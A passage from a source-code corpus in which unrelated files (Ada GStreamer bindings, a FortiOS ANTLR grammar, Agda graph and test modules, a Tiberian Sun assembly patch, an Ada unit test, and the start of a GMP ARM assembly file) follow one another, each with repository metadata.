GStreamer.GST_Low_Level.glib_2_0_gobject_gtype_h.GTypeInterface; -- gst/interfaces/navigation.h:50 send_event : access procedure (arg1 : System.Address; arg2 : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gststructure_h.GstStructure); -- gst/interfaces/navigation.h:53 u_gst_reserved : u_GstNavigationInterface_u_gst_reserved_array; -- gst/interfaces/navigation.h:56 end record; pragma Convention (C_Pass_By_Copy, GstNavigationInterface); -- gst/interfaces/navigation.h:49 -- virtual functions --< private > function gst_navigation_get_type return GLIB.GType; -- gst/interfaces/navigation.h:59 pragma Import (C, gst_navigation_get_type, "gst_navigation_get_type"); -- Navigation commands --* -- * GstNavigationCommand: -- * @GST_NAVIGATION_COMMAND_INVALID: An invalid command entry -- * @GST_NAVIGATION_COMMAND_MENU1: Execute navigation menu command 1. For DVD, -- * this enters the DVD root menu, or exits back to the title from the menu. -- * @GST_NAVIGATION_COMMAND_MENU2: Execute navigation menu command 2. For DVD, -- * this jumps to the DVD title menu. -- * @GST_NAVIGATION_COMMAND_MENU3: Execute navigation menu command 3. For DVD, -- * this jumps into the DVD root menu. -- * @GST_NAVIGATION_COMMAND_MENU4: Execute navigation menu command 4. For DVD, -- * this jumps to the Subpicture menu. -- * @GST_NAVIGATION_COMMAND_MENU5: Execute navigation menu command 5. For DVD, -- * the jumps to the audio menu. -- * @GST_NAVIGATION_COMMAND_MENU6: Execute navigation menu command 6. For DVD, -- * this jumps to the angles menu. -- * @GST_NAVIGATION_COMMAND_MENU7: Execute navigation menu command 7. For DVD, -- * this jumps to the chapter menu. -- * @GST_NAVIGATION_COMMAND_LEFT: Select the next button to the left in a menu, -- * if such a button exists. -- * @GST_NAVIGATION_COMMAND_RIGHT: Select the next button to the right in a menu, -- * if such a button exists. -- * @GST_NAVIGATION_COMMAND_UP: Select the button above the current one in a -- * menu, if such a button exists. -- * @GST_NAVIGATION_COMMAND_DOWN: Select the button below the current one in a -- * menu, if such a button exists. -- * @GST_NAVIGATION_COMMAND_ACTIVATE: Activate (click) the currently selected -- * button in a menu, if such a button exists. -- * @GST_NAVIGATION_COMMAND_PREV_ANGLE: Switch to the previous angle in a -- * multiangle feature. -- * @GST_NAVIGATION_COMMAND_NEXT_ANGLE: Switch to the next angle in a multiangle -- * feature. -- * -- * A set of commands that may be issued to an element providing the -- * #GstNavigation interface. The available commands can be queried via -- * the gst_navigation_query_new_commands() query. -- * -- * For convenience in handling DVD navigation, the MENU commands are aliased as: -- * GST_NAVIGATION_COMMAND_DVD_MENU = @GST_NAVIGATION_COMMAND_MENU1 -- * GST_NAVIGATION_COMMAND_DVD_TITLE_MENU = @GST_NAVIGATION_COMMAND_MENU2 -- * GST_NAVIGATION_COMMAND_DVD_ROOT_MENU = @GST_NAVIGATION_COMMAND_MENU3 -- * GST_NAVIGATION_COMMAND_DVD_SUBPICTURE_MENU = @GST_NAVIGATION_COMMAND_MENU4 -- * GST_NAVIGATION_COMMAND_DVD_AUDIO_MENU = @GST_NAVIGATION_COMMAND_MENU5 -- * GST_NAVIGATION_COMMAND_DVD_ANGLE_MENU = @GST_NAVIGATION_COMMAND_MENU6 -- * GST_NAVIGATION_COMMAND_DVD_CHAPTER_MENU = @GST_NAVIGATION_COMMAND_MENU7 -- * -- * Since: 0.10.23 -- subtype GstNavigationCommand is unsigned; GST_NAVIGATION_COMMAND_INVALID : constant GstNavigationCommand := 0; GST_NAVIGATION_COMMAND_MENU1 : constant GstNavigationCommand := 1; GST_NAVIGATION_COMMAND_MENU2 : constant GstNavigationCommand := 2; GST_NAVIGATION_COMMAND_MENU3 : constant GstNavigationCommand := 3; GST_NAVIGATION_COMMAND_MENU4 : constant GstNavigationCommand := 4; GST_NAVIGATION_COMMAND_MENU5 : constant GstNavigationCommand := 5; GST_NAVIGATION_COMMAND_MENU6 : constant GstNavigationCommand := 6; GST_NAVIGATION_COMMAND_MENU7 : constant GstNavigationCommand := 7; GST_NAVIGATION_COMMAND_LEFT : constant GstNavigationCommand := 20; GST_NAVIGATION_COMMAND_RIGHT : constant GstNavigationCommand := 21; GST_NAVIGATION_COMMAND_UP : constant GstNavigationCommand := 22; GST_NAVIGATION_COMMAND_DOWN : constant GstNavigationCommand := 23; GST_NAVIGATION_COMMAND_ACTIVATE : constant GstNavigationCommand := 24; GST_NAVIGATION_COMMAND_PREV_ANGLE : constant GstNavigationCommand := 30; GST_NAVIGATION_COMMAND_NEXT_ANGLE : constant GstNavigationCommand := 31; -- gst/interfaces/navigation.h:129 -- Some aliases for the menu command types -- Queries --* -- * GstNavigationQueryType: -- * @GST_NAVIGATION_QUERY_INVALID: invalid query -- * @GST_NAVIGATION_QUERY_COMMANDS: command query -- * @GST_NAVIGATION_QUERY_ANGLES: viewing angle query -- * -- * Tyoes of navigation interface queries. -- type GstNavigationQueryType is (GST_NAVIGATION_QUERY_INVALID, GST_NAVIGATION_QUERY_COMMANDS, GST_NAVIGATION_QUERY_ANGLES); pragma Convention (C, GstNavigationQueryType); -- gst/interfaces/navigation.h:154 function gst_navigation_query_get_type (query : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstquery_h.GstQuery) return GstNavigationQueryType; -- gst/interfaces/navigation.h:156 pragma Import (C, gst_navigation_query_get_type, "gst_navigation_query_get_type"); function gst_navigation_query_new_commands return access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstquery_h.GstQuery; -- gst/interfaces/navigation.h:158 pragma Import (C, gst_navigation_query_new_commands, "gst_navigation_query_new_commands"); procedure gst_navigation_query_set_commands (query : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstquery_h.GstQuery; n_cmds : GLIB.gint -- , ... ); -- gst/interfaces/navigation.h:159 pragma Import (C, gst_navigation_query_set_commands, "gst_navigation_query_set_commands"); procedure gst_navigation_query_set_commandsv (query : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstquery_h.GstQuery; n_cmds : GLIB.gint; cmds : access GstNavigationCommand); -- gst/interfaces/navigation.h:160 pragma Import (C, gst_navigation_query_set_commandsv, "gst_navigation_query_set_commandsv"); function gst_navigation_query_parse_commands_length (query : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstquery_h.GstQuery; n_cmds : access GLIB.guint) return GLIB.gboolean; -- gst/interfaces/navigation.h:162 pragma Import (C, gst_navigation_query_parse_commands_length, "gst_navigation_query_parse_commands_length"); function gst_navigation_query_parse_commands_nth (query : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstquery_h.GstQuery; nth : GLIB.guint; cmd : access GstNavigationCommand) return GLIB.gboolean; -- gst/interfaces/navigation.h:164 pragma Import (C, gst_navigation_query_parse_commands_nth, "gst_navigation_query_parse_commands_nth"); function gst_navigation_query_new_angles return access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstquery_h.GstQuery; -- gst/interfaces/navigation.h:167 pragma Import (C, gst_navigation_query_new_angles, "gst_navigation_query_new_angles"); procedure gst_navigation_query_set_angles (query : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstquery_h.GstQuery; cur_angle : GLIB.guint; n_angles : GLIB.guint); -- gst/interfaces/navigation.h:168 pragma Import (C, gst_navigation_query_set_angles, "gst_navigation_query_set_angles"); function gst_navigation_query_parse_angles (query : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstquery_h.GstQuery; cur_angle : access GLIB.guint; n_angles : access GLIB.guint) return GLIB.gboolean; -- gst/interfaces/navigation.h:170 pragma Import (C, gst_navigation_query_parse_angles, "gst_navigation_query_parse_angles"); -- Element messages --* -- * GstNavigationMessageType: -- * @GST_NAVIGATION_MESSAGE_INVALID: Returned from -- * gst_navigation_message_get_type() when the passed message is not a -- * navigation message. -- * @GST_NAVIGATION_MESSAGE_MOUSE_OVER: Sent when the mouse moves over or leaves a -- * clickable region of the output, such as a DVD menu button. -- * @GST_NAVIGATION_MESSAGE_COMMANDS_CHANGED: Sent when the set of available commands -- * changes and should re-queried by interested applications. -- * @GST_NAVIGATION_MESSAGE_ANGLES_CHANGED: Sent when display angles in a multi-angle -- * feature (such as a multiangle DVD) change - either angles have appeared or -- * disappeared. -- * -- * A set of notifications that may be received on the bus when navigation -- * related status changes. -- * -- * Since: 0.10.23 -- type GstNavigationMessageType is (GST_NAVIGATION_MESSAGE_INVALID, GST_NAVIGATION_MESSAGE_MOUSE_OVER, GST_NAVIGATION_MESSAGE_COMMANDS_CHANGED, GST_NAVIGATION_MESSAGE_ANGLES_CHANGED); pragma Convention (C, GstNavigationMessageType); -- gst/interfaces/navigation.h:197 function gst_navigation_message_get_type (message : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstmessage_h.GstMessage) return GstNavigationMessageType; -- gst/interfaces/navigation.h:199 pragma Import (C, gst_navigation_message_get_type, "gst_navigation_message_get_type"); function gst_navigation_message_new_mouse_over (src : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstobject_h.GstObject; active : GLIB.gboolean) return access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstmessage_h.GstMessage; -- gst/interfaces/navigation.h:201 pragma Import (C, gst_navigation_message_new_mouse_over, "gst_navigation_message_new_mouse_over"); function gst_navigation_message_parse_mouse_over (message : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstmessage_h.GstMessage; active : access GLIB.gboolean) return GLIB.gboolean; -- gst/interfaces/navigation.h:203 pragma Import (C, gst_navigation_message_parse_mouse_over, "gst_navigation_message_parse_mouse_over"); function gst_navigation_message_new_commands_changed (src : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstobject_h.GstObject) return access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstmessage_h.GstMessage; -- gst/interfaces/navigation.h:206 pragma Import (C, gst_navigation_message_new_commands_changed, "gst_navigation_message_new_commands_changed"); function gst_navigation_message_new_angles_changed (src : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstobject_h.GstObject; cur_angle : GLIB.guint; n_angles : GLIB.guint) return access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstmessage_h.GstMessage; -- gst/interfaces/navigation.h:208 pragma Import (C, gst_navigation_message_new_angles_changed, "gst_navigation_message_new_angles_changed"); function gst_navigation_message_parse_angles_changed (message : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstmessage_h.GstMessage; cur_angle : access GLIB.guint; n_angles : access GLIB.guint) return GLIB.gboolean; -- gst/interfaces/navigation.h:211 pragma Import (C, gst_navigation_message_parse_angles_changed, "gst_navigation_message_parse_angles_changed"); -- event parsing functions --* -- * GstNavigationEventType: -- * @GST_NAVIGATION_EVENT_INVALID: Returned from -- * gst_navigation_event_get_type() when the passed event is not a navigation event. -- * @GST_NAVIGATION_EVENT_KEY_PRESS: A key press event. Use -- * gst_navigation_event_parse_key_event() to extract the details from the event. -- * @GST_NAVIGATION_EVENT_KEY_RELEASE: A key release event. Use -- * gst_navigation_event_parse_key_event() to extract the details from the event. -- * @GST_NAVIGATION_EVENT_MOUSE_BUTTON_PRESS: A mouse button press event. Use -- * gst_navigation_event_parse_mouse_button_event() to extract the details from the -- * event. -- * @GST_NAVIGATION_EVENT_MOUSE_BUTTON_RELEASE: A mouse button release event. Use -- * gst_navigation_event_parse_mouse_button_event() to extract the details from the -- * event. -- * @GST_NAVIGATION_EVENT_MOUSE_MOVE: A mouse movement event. Use -- * gst_navigation_event_parse_mouse_move_event() to extract the details from the -- * event. -- * @GST_NAVIGATION_EVENT_COMMAND: A navigation command event. Use -- * gst_navigation_event_parse_command() to extract the details from the event. -- * -- * Enum values for the various events that an element implementing the -- * GstNavigation interface might send up the pipeline. -- * -- * Since: 0.10.23 -- type GstNavigationEventType is (GST_NAVIGATION_EVENT_INVALID, GST_NAVIGATION_EVENT_KEY_PRESS, GST_NAVIGATION_EVENT_KEY_RELEASE, GST_NAVIGATION_EVENT_MOUSE_BUTTON_PRESS, GST_NAVIGATION_EVENT_MOUSE_BUTTON_RELEASE, GST_NAVIGATION_EVENT_MOUSE_MOVE, GST_NAVIGATION_EVENT_COMMAND); pragma Convention (C, GstNavigationEventType); -- gst/interfaces/navigation.h:249 function gst_navigation_event_get_type (event : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstevent_h.GstEvent) return GstNavigationEventType; -- gst/interfaces/navigation.h:251 pragma Import (C, gst_navigation_event_get_type, "gst_navigation_event_get_type"); function gst_navigation_event_parse_key_event (event : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstevent_h.GstEvent; key : System.Address) return GLIB.gboolean; -- gst/interfaces/navigation.h:252 pragma Import (C, gst_navigation_event_parse_key_event, "gst_navigation_event_parse_key_event"); function gst_navigation_event_parse_mouse_button_event (event : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstevent_h.GstEvent; button : access GLIB.gint; x : access GLIB.gdouble; y : access GLIB.gdouble) return GLIB.gboolean; -- gst/interfaces/navigation.h:254 pragma Import (C, gst_navigation_event_parse_mouse_button_event, "gst_navigation_event_parse_mouse_button_event"); function gst_navigation_event_parse_mouse_move_event (event : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstevent_h.GstEvent; x : access GLIB.gdouble; y : access GLIB.gdouble) return GLIB.gboolean; -- gst/interfaces/navigation.h:256 pragma Import (C, gst_navigation_event_parse_mouse_move_event, "gst_navigation_event_parse_mouse_move_event"); function gst_navigation_event_parse_command (event : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstevent_h.GstEvent; command : access GstNavigationCommand) return GLIB.gboolean; -- gst/interfaces/navigation.h:258 pragma Import (C, gst_navigation_event_parse_command, "gst_navigation_event_parse_command"); -- interface virtual function wrappers procedure gst_navigation_send_event (navigation : System.Address; structure : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gststructure_h.GstStructure); -- gst/interfaces/navigation.h:262 pragma Import (C, gst_navigation_send_event, "gst_navigation_send_event"); procedure gst_navigation_send_key_event (navigation : System.Address; event : Interfaces.C.Strings.chars_ptr; key : Interfaces.C.Strings.chars_ptr); -- gst/interfaces/navigation.h:264 pragma Import (C, gst_navigation_send_key_event, "gst_navigation_send_key_event"); procedure gst_navigation_send_mouse_event (navigation : System.Address; event : Interfaces.C.Strings.chars_ptr; button : int; x : double; y : double); -- gst/interfaces/navigation.h:266 pragma Import (C, gst_navigation_send_mouse_event, "gst_navigation_send_mouse_event"); procedure gst_navigation_send_command (navigation : System.Address; command : GstNavigationCommand); -- gst/interfaces/navigation.h:268 pragma Import (C, gst_navigation_send_command, "gst_navigation_send_command"); end GStreamer.GST_Low_Level.gstreamer_0_10_gst_interfaces_navigation_h;
projects/batfish/src/main/antlr4/org/batfish/grammar/fortios/Fortios_service.g4
yrll/batfish-repair
0
228
<filename>projects/batfish/src/main/antlr4/org/batfish/grammar/fortios/Fortios_service.g4 parser grammar Fortios_service; options { tokenVocab = FortiosLexer; } cf_service: SERVICE cfs_custom; cfs_custom: CUSTOM newline cfsc*; cfsc: cfsc_edit | cfsc_rename; cfsc_rename: RENAME current_name = service_name TO new_name = service_name newline; cfsc_edit: EDIT service_name newline cfsce* NEXT newline; cfsce: SET cfsc_set_singletons; cfsc_set_singletons: cfsc_set_comment | cfsc_set_icmpcode | cfsc_set_icmptype | cfsc_set_protocol | cfsc_set_protocol_number | cfsc_set_sctp_portrange | cfsc_set_tcp_portrange | cfsc_set_udp_portrange ; cfsc_set_comment: COMMENT comment = str newline; cfsc_set_icmpcode: ICMPCODE code = uint8 newline; cfsc_set_icmptype: ICMPTYPE type = uint8 newline; cfsc_set_protocol: PROTOCOL protocol = service_protocol newline; cfsc_set_protocol_number: PROTOCOL_NUMBER number = ip_protocol_number newline; cfsc_set_sctp_portrange: SCTP_PORTRANGE value = service_port_ranges newline; cfsc_set_tcp_portrange: TCP_PORTRANGE value = service_port_ranges newline; cfsc_set_udp_portrange: UDP_PORTRANGE value = service_port_ranges newline; // Up to 79 characters service_name: str; service_protocol : ICMP | ICMP6 | IP_UPPER | TCP_UDP_SCTP ; service_port_ranges: service_port_range+; // TODO: get from a portange lexing mode service_port_range: dst_ports = port_range (COLON src_ports = port_range)?; // 0-254 ip_protocol_number: uint8;
test/asset/agda-stdlib-1.0/Data/Graph/Acyclic.agda
omega12345/agda-mode
0
13738
------------------------------------------------------------------------ -- The Agda standard library -- -- Directed acyclic multigraphs ------------------------------------------------------------------------ -- A representation of DAGs, based on the idea underlying Martin -- Erwig's FGL. Note that this representation does not aim to be -- efficient. {-# OPTIONS --without-K --safe #-} module Data.Graph.Acyclic where open import Level using (_⊔_) open import Data.Nat.Base as Nat using (ℕ; zero; suc; _<′_) import Data.Nat.Properties as Nat open import Data.Fin as Fin using (Fin; Fin′; zero; suc; #_; toℕ; _≟_) renaming (_ℕ-ℕ_ to _-_) import Data.Fin.Properties as FP import Data.Fin.Permutation.Components as PC open import Data.Product as Prod using (∃; _×_; _,_) open import Data.Maybe.Base using (Maybe; nothing; just) open import Data.Empty open import Data.Unit.Base using (⊤; tt) open import Data.Vec as Vec using (Vec; []; _∷_) open import Data.List.Base as List using (List; []; _∷_) open import Function open import Induction.Nat using (<′-rec; <′-Rec) open import Relation.Nullary open import Relation.Binary.PropositionalEquality as P using (_≡_) ------------------------------------------------------------------------ -- A lemma private lemma : ∀ n (i : Fin n) → n - suc i <′ n lemma zero () lemma (suc n) i = Nat.≤⇒≤′ $ Nat.s≤s $ FP.nℕ-ℕi≤n n i ------------------------------------------------------------------------ -- Node contexts record Context {ℓ e} (Node : Set ℓ) (Edge : Set e) (n : ℕ) : Set (ℓ ⊔ e) where constructor context field label : Node successors : List (Edge × Fin n) open Context public -- Map for contexts. module _ {ℓ₁ e₁} {N₁ : Set ℓ₁} {E₁ : Set e₁} {ℓ₂ e₂} {N₂ : Set ℓ₂} {E₂ : Set e₂} where cmap : ∀ {n} → (N₁ → N₂) → (List (E₁ × Fin n) → List (E₂ × Fin n)) → Context N₁ E₁ n → Context N₂ E₂ n cmap f g c = context (f (label c)) (g (successors c)) ------------------------------------------------------------------------ -- Graphs infixr 3 _&_ -- The DAGs are indexed on the number of nodes. data Graph {ℓ e} (Node : Set ℓ) (Edge : Set e) : ℕ → Set (ℓ ⊔ e) where ∅ : Graph Node Edge 0 _&_ : ∀ {n} (c : Context Node Edge n) (g : Graph Node Edge n) → Graph Node Edge (suc n) private example : Graph ℕ ℕ 5 example = context 0 [] & context 1 ((10 , # 1) ∷ (11 , # 1) ∷ []) & context 2 ((12 , # 0) ∷ []) & context 3 [] & context 4 [] & ∅ ------------------------------------------------------------------------ -- Higher-order functions module _ {ℓ e} {N : Set ℓ} {E : Set e} {t} where -- "Fold right". foldr : (T : ℕ → Set t) → (∀ {n} → Context N E n → T n → T (suc n)) → T 0 → ∀ {m} → Graph N E m → T m foldr T _∙_ x ∅ = x foldr T _∙_ x (c & g) = c ∙ foldr T _∙_ x g -- "Fold left". foldl : ∀ {n} (T : ℕ → Set t) → ((i : Fin n) → T (toℕ i) → Context N E (n - suc i) → T (suc (toℕ i))) → T 0 → Graph N E n → T n foldl T f x ∅ = x foldl T f x (c & g) = foldl (T ∘′ suc) (f ∘ suc) (f zero x c) g module _ {ℓ₁ e₁} {N₁ : Set ℓ₁} {E₁ : Set e₁} {ℓ₂ e₂} {N₂ : Set ℓ₂} {E₂ : Set e₂} where -- Maps over node contexts. map : (∀ {n} → Context N₁ E₁ n → Context N₂ E₂ n) → ∀ {n} → Graph N₁ E₁ n → Graph N₂ E₂ n map f = foldr _ (λ c → f c &_) ∅ -- Maps over node labels. nmap : ∀ {ℓ₁ ℓ₂ e} {N₁ : Set ℓ₁} {N₂ : Set ℓ₂} {E : Set e} → ∀ {n} → (N₁ → N₂) → Graph N₁ E n → Graph N₂ E n nmap f = map (cmap f id) -- Maps over edge labels. emap : ∀ {ℓ e₁ e₂} {N : Set ℓ} {E₁ : Set e₁} {E₂ : Set e₂} → ∀ {n} → (E₁ → E₂) → Graph N E₁ n → Graph N E₂ n emap f = map (cmap id (List.map (Prod.map f id))) -- Zips two graphs with the same number of nodes. Note that one of the -- graphs has a type which restricts it to be completely disconnected. zipWith : ∀ {ℓ₁ ℓ₂ ℓ e} {N₁ : Set ℓ₁} {N₂ : Set ℓ₂} {N : Set ℓ} {E : Set e} → ∀ {n} → (N₁ → N₂ → N) → Graph N₁ ⊥ n → Graph N₂ E n → Graph N E n zipWith _∙_ ∅ ∅ = ∅ zipWith _∙_ (c₁ & g₁) (c₂ & g₂) = context (label c₁ ∙ label c₂) (successors c₂) & zipWith _∙_ g₁ g₂ ------------------------------------------------------------------------ -- Specific graphs -- A completeley disconnected graph. disconnected : ∀ n → Graph ⊤ ⊥ n disconnected zero = ∅ disconnected (suc n) = context tt [] & disconnected n -- A complete graph. complete : ∀ n → Graph ⊤ ⊤ n complete zero = ∅ complete (suc n) = context tt (List.map (tt ,_) $ Vec.toList (Vec.allFin n)) & complete n ------------------------------------------------------------------------ -- Queries module _ {ℓ e} {N : Set ℓ} {E : Set e} where -- The top-most context. head : ∀ {n} → Graph N E (suc n) → Context N E n head (c & g) = c -- The remaining graph. tail : ∀ {n} → Graph N E (suc n) → Graph N E n tail (c & g) = g -- Finds the context and remaining graph corresponding to a given node -- index. _[_] : ∀ {n} → Graph N E n → (i : Fin n) → Graph N E (suc (n - suc i)) ∅ [ () ] (c & g) [ zero ] = c & g (c & g) [ suc i ] = g [ i ] -- The nodes of the graph (node number relative to "topmost" node × -- node label). nodes : ∀ {n} → Graph N E n → Vec (Fin n × N) n nodes = Vec.zip (Vec.allFin _) ∘ foldr (Vec N) (λ c → label c ∷_) [] private test-nodes : nodes example ≡ (# 0 , 0) ∷ (# 1 , 1) ∷ (# 2 , 2) ∷ (# 3 , 3) ∷ (# 4 , 4) ∷ [] test-nodes = P.refl module _ {ℓ e} {N : Set ℓ} {E : Set e} where -- Topological sort. Gives a vector where earlier nodes are never -- successors of later nodes. topSort : ∀ {n} → Graph N E n → Vec (Fin n × N) n topSort = nodes -- The edges of the graph (predecessor × edge label × successor). -- -- The predecessor is a node number relative to the "topmost" node in -- the graph, and the successor is a node number relative to the -- predecessor. edges : ∀ {n} → Graph N E n → List (∃ λ i → E × Fin (n - suc i)) edges {n} = foldl (λ _ → List (∃ λ i → E × Fin (n - suc i))) (λ i es c → es List.++ List.map (i ,_) (successors c)) [] private test-edges : edges example ≡ (# 1 , 10 , # 1) ∷ (# 1 , 11 , # 1) ∷ (# 2 , 12 , # 0) ∷ [] test-edges = P.refl -- The successors of a given node i (edge label × node number relative -- to i). sucs : ∀ {ℓ e} {N : Set ℓ} {E : Set e} → ∀ {n} → Graph N E n → (i : Fin n) → List (E × Fin (n - suc i)) sucs g i = successors $ head (g [ i ]) private test-sucs : sucs example (# 1) ≡ (10 , # 1) ∷ (11 , # 1) ∷ [] test-sucs = P.refl -- The predecessors of a given node i (node number relative to i × -- edge label). preds : ∀ {ℓ e} {N : Set ℓ} {E : Set e} → ∀ {n} → Graph N E n → (i : Fin n) → List (Fin′ i × E) preds g zero = [] preds (c & g) (suc i) = List._++_ (List.mapMaybe (p i) $ successors c) (List.map (Prod.map suc id) $ preds g i) where p : ∀ {e} {E : Set e} {n} (i : Fin n) → E × Fin n → Maybe (Fin′ (suc i) × E) p i (e , j) with i ≟ j p i (e , .i) | yes P.refl = just (zero , e) p i (e , j) | no _ = nothing private test-preds : preds example (# 3) ≡ (# 1 , 10) ∷ (# 1 , 11) ∷ (# 2 , 12) ∷ [] test-preds = P.refl ------------------------------------------------------------------------ -- Operations -- Weakens a node label. weaken : ∀ {n} {i : Fin n} → Fin (n - suc i) → Fin n weaken {n} {i} j = Fin.inject≤ j (FP.nℕ-ℕi≤n n (suc i)) -- Labels each node with its node number. number : ∀ {ℓ e} {N : Set ℓ} {E : Set e} → ∀ {n} → Graph N E n → Graph (Fin n × N) E n number {N = N} {E} = foldr (λ n → Graph (Fin n × N) E n) (λ c g → cmap (zero ,_) id c & nmap (Prod.map suc id) g) ∅ private test-number : number example ≡ (context (# 0 , 0) [] & context (# 1 , 1) ((10 , # 1) ∷ (11 , # 1) ∷ []) & context (# 2 , 2) ((12 , # 0) ∷ []) & context (# 3 , 3) [] & context (# 4 , 4) [] & ∅) test-number = P.refl -- Reverses all the edges in the graph. reverse : ∀ {ℓ e} {N : Set ℓ} {E : Set e} → ∀ {n} → Graph N E n → Graph N E n reverse {N = N} {E} g = foldl (Graph N E) (λ i g' c → context (label c) (List.map (Prod.swap ∘ Prod.map PC.reverse id) $ preds g i) & g') ∅ g private test-reverse : reverse (reverse example) ≡ example test-reverse = P.refl ------------------------------------------------------------------------ -- Views -- Expands the subgraph induced by a given node into a tree (thus -- losing all sharing). data Tree {ℓ e} (N : Set ℓ) (E : Set e) : Set (ℓ ⊔ e) where node : (label : N) (successors : List (E × Tree N E)) → Tree N E module _ {ℓ e} {N : Set ℓ} {E : Set e} where toTree : ∀ {n} → Graph N E n → Fin n → Tree N E toTree g i = <′-rec Pred expand _ (g [ i ]) where Pred = λ n → Graph N E (suc n) → Tree N E expand : (n : ℕ) → <′-Rec Pred n → Pred n expand n rec (c & g) = node (label c) (List.map (Prod.map id (λ i → rec (n - suc i) (lemma n i) (g [ i ]))) (successors c)) -- Performs the toTree expansion once for each node. toForest : ∀ {n} → Graph N E n → Vec (Tree N E) n toForest g = Vec.map (toTree g) (Vec.allFin _) private test-toForest : toForest example ≡ let n3 = node 3 [] in node 0 [] ∷ node 1 ((10 , n3) ∷ (11 , n3) ∷ []) ∷ node 2 ((12 , n3) ∷ []) ∷ node 3 [] ∷ node 4 [] ∷ [] test-toForest = P.refl
src/online_optimizations.asm
mvdhout1992/ts-patches
33
89893
%include "macros/patch.inc" %include "macros/datatypes.inc" %include "TiberianSun.inc" gint LastRenderTime, 0 gint WFPRenderInterval, 16 ;;; Hack GscreenClass::Render, inspect the return pointer. If it's within Wait_for_players, then throttle ;;; Wait_For_Players function 5B2320 - 5B3235 %if 0 hack 0x004B95A0, 0x004B95A8 cmp dword[esp], 0x005B2320 jl .Reg cmp dword[esp], 0x005B3235 jg .Reg push ecx call [_imp__timeGetTime] pop ecx mov edx, dword[LastRenderTime] add edx, dword[WFPRenderInterval] cmp eax, edx jge .Render retn .Render: mov dword[LastRenderTime], eax .Reg: sub esp, 8 mov eax, [0x0074C5EC] ;Composite surface jmp hackend %endif hack 0x006A5136, 0x006A513C add esp, 8 push dword[MouseIntervalResolution] push dword[MouseRenderInterval] call [_imp__timeSetEvent] jmp hackend
src/libraries/Rewriters_Lib/tests/test_minimal_parenthesis.adb
selroc/Renaissance-Ada
1
17951
<filename>src/libraries/Rewriters_Lib/tests/test_minimal_parenthesis.adb with AUnit.Assertions; use AUnit.Assertions; with Libadalang.Analysis; use Libadalang.Analysis; with Libadalang.Common; use Libadalang.Common; with Rejuvenation.Simple_Factory; use Rejuvenation.Simple_Factory; with Rewriters_Minimal_Parentheses; use Rewriters_Minimal_Parentheses; package body Test_Minimal_Parenthesis is procedure Assert_Unchanged (Expected : String; Rule : Grammar_Rule; Message : String) is Unit : constant Analysis_Unit := Analyze_Fragment (Expected, Rule); RMP : constant Rewriter_Minimal_Parentheses := Make_Rewriter_Minimal_Parentheses; Actual : constant String := RMP.Rewrite (Unit.Root); begin Assert (Actual, Expected, Message); end Assert_Unchanged; -- Test Functions procedure Test_Mandatory_Brackets (T : in out Test_Case'Class) is pragma Unreferenced (T); begin Assert_Unchanged ("function f return Integer is (2);", Expr_Fn_Rule, "Brackets are mandatory for Expression Functions"); Assert_Unchanged ("Code'(Dec)", Expr_Rule, "Brackets are mandatory for Qualified Expressions"); Assert_Unchanged ("2 * (2/3)", Expr_Rule, "Multiply Divide order"); Assert_Unchanged ("2 * (1 + 4)", Expr_Rule, "Multiply Addition order"); end Test_Mandatory_Brackets; -- Test plumbing overriding function Name (T : Minimal_Parenthesis_Test_Case) return AUnit.Message_String is pragma Unreferenced (T); begin return AUnit.Format ("Minimal_Parenthesis"); end Name; overriding procedure Register_Tests (T : in out Minimal_Parenthesis_Test_Case) is begin Registration.Register_Routine (T, Test_Mandatory_Brackets'Access, "Mandatory_Brackets"); end Register_Tests; end Test_Minimal_Parenthesis;
test/Succeed/Issue2408.agda
shlevy/agda
1,989
16444
<reponame>shlevy/agda -- Andreas, 2017-01-18, issue #2408 -- DLubs were not serialized, thus, there was a problem with -- level dependent on irrelevant values. {-# OPTIONS --show-irrelevant #-} -- {-# OPTIONS -v tc:70 #-} open import Agda.Primitive postulate A : Set l : .(a : A) → Level F : .(a : A) → Set (l a) -- checked type signature -- F : .(a : A) → Set (l a) -- of sort dLub Set (λ a → Set (lsuc (l a)))
release/src-rt-6.x.4708/router/gmp/mpn/arm/bdiv_dbm1c.asm
afeng11/tomato-arm
5
247008
<reponame>afeng11/tomato-arm<filename>release/src-rt-6.x.4708/router/gmp/mpn/arm/bdiv_dbm1c.asm dnl ARM mpn_bdiv_dbm1c. dnl Copyright 2008, 2011, 2012 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of either: dnl dnl * the GNU Lesser General Public License as published by the Free dnl Software Foundation; either version 3 of the License, or (at your dnl option) any later version. dnl dnl or dnl dnl * the GNU General Public License as published by the Free Software dnl Foundation; either version 2 of the License, or (at your option) any dnl later version. dnl dnl or both in parallel, as here. dnl dnl The GNU MP Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License dnl for more details. dnl dnl You should have received copies of the GNU General Public License and the dnl GNU Lesser General Public License along with the GNU MP Library. If not, dnl see https://www.gnu.org/licenses/. include(`../config.m4') C cycles/limb C StrongARM ? C XScale ? C Cortex-A7 